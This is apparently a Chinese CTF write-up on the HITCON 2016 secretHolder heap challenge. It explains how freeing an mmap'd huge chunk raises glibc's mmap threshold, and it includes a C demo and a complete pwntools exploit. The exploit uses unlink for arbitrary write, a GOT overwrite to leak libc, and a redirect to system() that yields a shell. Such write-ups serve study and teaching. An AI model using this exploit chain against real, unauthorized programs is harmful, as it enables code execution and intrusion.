这题和上一题https://blog.csdn.net/seaaseesa/article/details/105856878功能相似,并且上一题的利用手法这里同样可以利用,这里,有另一种手法,从而引出了一个新的知识点。
这题,delete功能里增加了对huge chunk的free
Huge chunk的大小为0x61A80,这会使用mmap来分配。
我们先来看一下glibc的源码,当top chunk的size满足不了申请的大小后,就会调用sysmalloc来分配chunk给用户。
当top chunk为空,或者请求的size大于等于mmap的阈值,会使用mmap来映射内存给用户。
并且映射的大小是页对齐的
否则,扩展top chunk,然后从top chunk里分配内存
因此,我们只要从第一个if判断阈值那里逃逸过去,这样就可以从top chunk里分配。
我们看看这个阈值
程序中的huge chunk大小为0x61A80,大于最小阈值,因此第一次malloc(0x61A80),使用mmap分配内存。当free这个chunk的时候,我们看到free的源码,对阈值做了调整,将阈值设置为了chunksize,由于之前申请chunk时,size做了页对齐,所以,此时chunksize(p)为0x62000,,也就是阈值将修改为0x62000。
下一次,我们重新malloc的时候,只要nb大小小于0x62000这个阈值,就会从top chunk分配。因此,当我们再次malloc(0x61A80)的时候,nb = 0x61A90,小于阈值,就绕过了if,执行后面的代码从top chunk分配。
我们可以做个实验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <stdlib.h>
char *ptr;
int main() { setbuf(stdout,0); setbuf(stdin,0); setbuf(stderr,0); ptr = malloc(0x61A800); printf("huge chunk ptr=0x%lx\n",ptr); printf("free huge chunk\n"); free(ptr); printf("malloc huge chunk\n"); ptr = malloc(0x61A800); printf("huge chunk ptr=0x%lx\n",ptr); getchar(); }
|
我们看到第二次申请回来的时候,地址变成了普通堆的地址。
那么,我们回到题目,我们可以先构造堆布局
由于bss上保留了堆指针没有清空,接下来,我们malloc huge chunk,首先会发生malloc_consolidate,将fastbin也合并到top chunk,接下来调用sysmalloc,扩展top chunk,然后从top chunk里分配。最终,返回的chunk地址与0x30的fastbin的地址是同一个。那么,通过这个huge chunk,在对应指针指向的位置伪造几个chunk,最后通过delete unsorted bin那个chunk对应的指针,达到unlink。实现了unlink后,就可以实现任意地址读写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import *
sh = remote('node3.buuoj.cn',25895) elf = ELF('./secretHolder_hitcon_2016') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') atoi_got = elf.got['atoi'] free_got = elf.got['free'] puts_plt = elf.plt['puts']
def add(type,content): sh.sendlineafter('3. Renew secret','1') sh.sendlineafter('3. Huge secret',str(type)) sh.sendafter('Tell me your secret:',content)
def delete(type): sh.sendlineafter('3. Renew secret','2') sh.sendlineafter('3. Huge secret',str(type))
def edit(type,content): sh.sendlineafter('3. Renew secret','3') sh.sendlineafter('3. Huge secret',str(type)) sh.sendafter('Tell me your secret:',content)
huge_ptr_addr = 0x00000000006020A8 add(1,'a'*0x20) add(2,'b'*0x20) delete(1) delete(2)
add(3,'c'*0x20)
delete(3)
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(huge_ptr_addr - 0x18) + p64(huge_ptr_addr - 0x10) fake_chunk += p64(0x20) + p64(0x100) fake_chunk += 'b'*0xF0 fake_chunk += (p64(0) + p64(0x21) + 'd'*0x10) * 2 add(3,fake_chunk)
delete(2)
edit(3,'\x00'*0x10 + p64(atoi_got) + p64(atoi_got) + p64(free_got) + p64(1)*3)
edit(1,p64(puts_plt))
delete(3) sh.recvuntil('\n') atoi_addr = u64(sh.recv(6).ljust(8,'\x00')) libc_base = atoi_addr - libc.sym['atoi'] system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
edit(2,p64(system_addr))
sh.sendlineafter('3. Renew secret','sh\x00')
sh.interactive()
|